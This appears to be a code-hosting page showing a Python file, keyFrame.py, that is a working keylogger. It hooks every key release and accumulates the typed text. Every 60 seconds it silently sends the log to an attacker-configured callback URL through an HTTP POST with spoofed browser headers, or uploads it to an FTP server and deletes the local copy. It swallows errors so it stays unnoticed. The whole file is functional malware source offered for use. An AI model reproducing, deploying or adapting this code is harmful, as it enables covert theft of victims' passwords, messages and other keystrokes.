-
Notifications
You must be signed in to change notification settings - Fork 0
/
keyFrame.py
149 lines (131 loc) · 5.16 KB
/
keyFrame.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from threading import Timer
import keyboard
import random, string, os
from datetime import date, datetime
import hashlib
import requests
from ftplib import FTP
# FormBeacon Configuration
CallBackURL = "REPLACE WITH YOUR CALLBACK URL"
CallBackURLBase = CallBackURL.rsplit("/", 1)[0]
Headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': CallBackURLBase,
'DNT': '1',
'Connection': 'keep-alive',
'Referer': CallBackURL,
'Upgrade-Insecure-Requests': '1',
'TE': 'Trailers',
}
# FTPBeacon Configuration
FTPHost = "REPLACE WITH YOUR FTP SERVER HOSTING ADDRESS"
FTPUsername = "REPLACE WITH YOUR FTP SERVER USERNAME"
FTPPassword = "REPLACE WITH YOUR FTP SERVER PASSWORD"
class KeyFrame:
def __init__(self, Delay, ReportMethod):
self.ReportMethod = ReportMethod.lower()
self.Interval = Delay
self.Log = ""
self.StartDT = datetime.now()
self.EndDT = datetime.now()
def callback(self, Event):
KeyPress = Event.name
if(len(KeyPress) > 1):
if(KeyPress == "space"):
KeyPress = " "
elif(KeyPress == "enter"):
KeyPress = "\n"
elif(KeyPress == "decimal"):
KeyPress = "."
elif(KeyPress == "backspace"):
BackspacedLog = self.Log[:-1]
self.Log = ""
KeyPress = self.Log + BackspacedLog
elif(KeyPress == "shift"):
KeyPress = ""
elif(KeyPress == "tab"):
KeyPress = "\t"
elif(KeyPress == "alt"):
KeyPress = ""
elif(KeyPress == "alt gr"):
KeyPress = ""
else:
KeyPress = KeyPress.replace(" ", "_")
KeyPress = f"[{KeyPress.upper()}]"
self.Log += KeyPress
def MakeReportMethodBothFileID(self):
self.BothReportMethodHash = hashlib.md5(''.join(random.choice(string.ascii_lowercase) for i in range(12)).encode())
self.BothFileIDHash = self.BothReportMethodHash.hexdigest()
def UpdateFilename(self, ReportMethodIsBoth, ReportMethodType, BothFileID):
Hash = hashlib.md5(''.join(random.choice(string.ascii_uppercase) for i in range(12)).encode())
FileHash = Hash.hexdigest()
if(ReportMethodIsBoth and ReportMethodType == "callback_url" and BothFileID != None):
self.Filename = f"{date.today()}-{BothFileID}-url.txt"
elif(ReportMethodIsBoth and ReportMethodType == "callback_ftp" and BothFileID != None):
self.Filename = f"{date.today()}-{BothFileID}-ftp.txt"
elif(ReportMethodIsBoth == False and ReportMethodType == None and BothFileID == None):
self.Filename = f"{FileHash}.txt"
def FormBeacon(self):
DataPack = {
'dat': self.Log,
'filename': self.Filename,
'submit': 'SubmitForm'
}
try:
requests.post(CallBackURL, headers=Headers, data=DataPack)
except requests.exceptions.ConnectionError:
pass
def FTPBeacon(self):
try:
with open(self.Filename, "w") as f:
f.write(self.Log)
f.close()
except Exception:
pass
try:
ftp = FTP(FTPHost)
ftp.login(FTPUsername, FTPPassword)
with open(self.Filename, 'rb') as f:
ftp.storbinary('STOR public_html/logs/%s' % self.Filename, f)
ftp.quit()
except Exception:
pass
try:
os.system(f"rm {self.Filename}")
except Exception:
pass
def Report(self):
if(self.Log):
self.EndDT = datetime.now()
if(self.ReportMethod == "callback_url"):
self.UpdateFilename(False, None, None)
self.FormBeacon()
elif(self.ReportMethod == "callback_ftp"):
self.UpdateFilename(False, None, None)
self.FTPBeacon()
elif(self.ReportMethod == "callback_both"):
self.MakeReportMethodBothFileID()
self.UpdateFilename(True, "callback_url", self.BothFileIDHash)
self.FormBeacon()
self.UpdateFilename(True, "callback_ftp", self.BothFileIDHash)
self.FTPBeacon()
self.StartDT = datetime.now()
self.Log = ""
ReportTimer = Timer(interval=self.Interval, function=self.Report)
ReportTimer.daemon = True
ReportTimer.start()
def Start(self):
self.StartDT = datetime.now()
keyboard.on_release(callback=self.callback)
self.Report()
keyboard.wait()
if(__name__ == '__main__'):
# Allowed Reporting Methods: "callback_url", "callback_ftp" or "callback_both"
ReportMethodInUse = "callback_url"
# Delay for sending the log every X amount of seconds
DelayInUse = 60
keyFrame = KeyFrame(Delay=DelayInUse, ReportMethod=ReportMethodInUse)
keyFrame.Start()